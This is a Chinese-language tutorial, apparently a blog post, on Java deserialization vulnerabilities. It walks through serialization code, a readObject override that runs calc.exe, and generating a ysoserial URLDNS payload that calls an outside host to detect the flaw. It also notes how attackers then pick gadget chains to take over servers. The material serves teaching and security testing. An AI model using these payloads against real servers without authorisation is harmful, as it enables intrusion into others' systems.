基础:
要想了解java反序列化,首先要了解什么是序列化和什么是反序列化:
序列化:作用是将对象变为字符串
调用功能:ObjectOutputStream类的 writeObject()
反序列化:作用将字符串变为对象
调用功能:ObjectInputStream 类的 readObject()
反序列化作用是为了方便存储和调用
并且只有实现了java.io.Serializable接口的才可以反序列化,在利用时要注意。
代码实现
简单实现序列化和反序列化代码
首先新建Main项目
public class Main {
public static void main(String[] args) throws Exception {
command comm = new command();
comm.SetStudent("xiaomao");
//序列化对象
byte[] ceshi = serialize(comm);
//base64编码字节码 用于展示
System.out.println(Base64.getEncoder().encodeToString(ceshi));
FileOutputStream fout = new FileOutputStream("ceshi.bin");
fout.write(ceshi);
fout.close();
//反序列化对象并调用command中ShowStudent函数
command comm2=(command) unserialize(ceshi);
comm2.ShowStudent();
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(buf);
//序列化对象
objOut.writeObject(obj);
return buf.toByteArray();
}
public static Object unserialize(final Object serialized) throws Exception {
ByteArrayInputStream objInt = new ByteArrayInputStream((byte[]) serialized);
ObjectInputStream in = new ObjectInputStream(objInt);
return in.readObject();
}
}
添加command函数
import java.io.Serializable;
public class command implements Serializable {
public String name;
// 序列化对象设置名称
public void SetStudent(String setname){
name = setname;
}
// 反序列化后调用函数
public void ShowStudent(){
System.out.println(name);
}
}
运行可以看到成功在反序列化对象后调用了ShowStudent函数
可以看到生成的序列化字节码
可以看到base64编码的为rO0ABXNy打头,对应的十六进制为AC ED 00 05
修改代码
现在我们对代码进行一些改造
在command中添加如下代码
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec("calc.exe");
}
执行后发现成功执行计算器
看到这里大家可以看到在我们重写了readObject函数后,在调用中会默认进行调用。
ysoserial使用:
在实际测试中常用到ysoserial-all.jar,可自动生成调用链,下载地址如下:
https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
这里查看帮助我们可以看到
java -jar ysoserial-all.jar -help
有很多的调用链可以使用,这里我们先使用URLDNS,这里注意不要使用powershell生成,编码格式会出问题,使用cmd生成
在实际测试中多使用URLDNS调用链,因为此调用链只会发出dns请求,只要搭建dnslog平台就可以检测出是否存在漏洞,不会对环境产生影响,其次其不限制jdk版本,因为使用的是java内置类,没有第三方要求,所以可以避免很多版本框架限制,进而更高效的检测出是否存在漏洞。
java -jar ysoserial-all.jar URLDNS "http://www.test123.com" > urldns.bin
修改main函数代码如下
public static void main(String[] args) throws Exception {
ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("urldns.bin"));
objIn.readObject();
}
可以看到成功查询
这里只是简单讲述了java反序列化原理和一些简单利用,后面会对调用链和一些复杂利用进行讲解。
总结:
在序列化数据中包含有特殊字符,所以在传输过程中一般会对数据采用base64编码来保证数据读取不会出现未知问题,所以我们在测试过程中,如果在抓包中看到了rO0ABXNy开头数据包,或十六进制为AC ED 00 05数据,一般为序列化数据,就可以使用urldns调用链来测试是否真正存在java反序列化漏洞
为什么首先选用urldns调用链来进行测试,因为要想成功实现反序列化攻击,在服务器代码中要有可以利用的调用点来实现攻击,服务器本来的代码我们很难拿到,自然很难实现对调用链的搜索和利用,只能用一些公开的框架,在框架中寻找调用链进行攻击,urldns所使用的HashMap,基本都会引入,所以可以快速判断是否存在漏洞。
在测试确实存在反序列化漏洞后,我们就可以根据我们在测试过程中测试的点,来判断服务器引入了哪些框架,再去这些公开的框架中寻找调用链,进而实现对服务器的控制。
后续我会将反序列化漏洞进行一个系列的讲解,感兴趣的同学可以一起学习
java反序列化系列-URLDNS
https://blog.csdn.net/GalaxySpaceX/article/details/129185091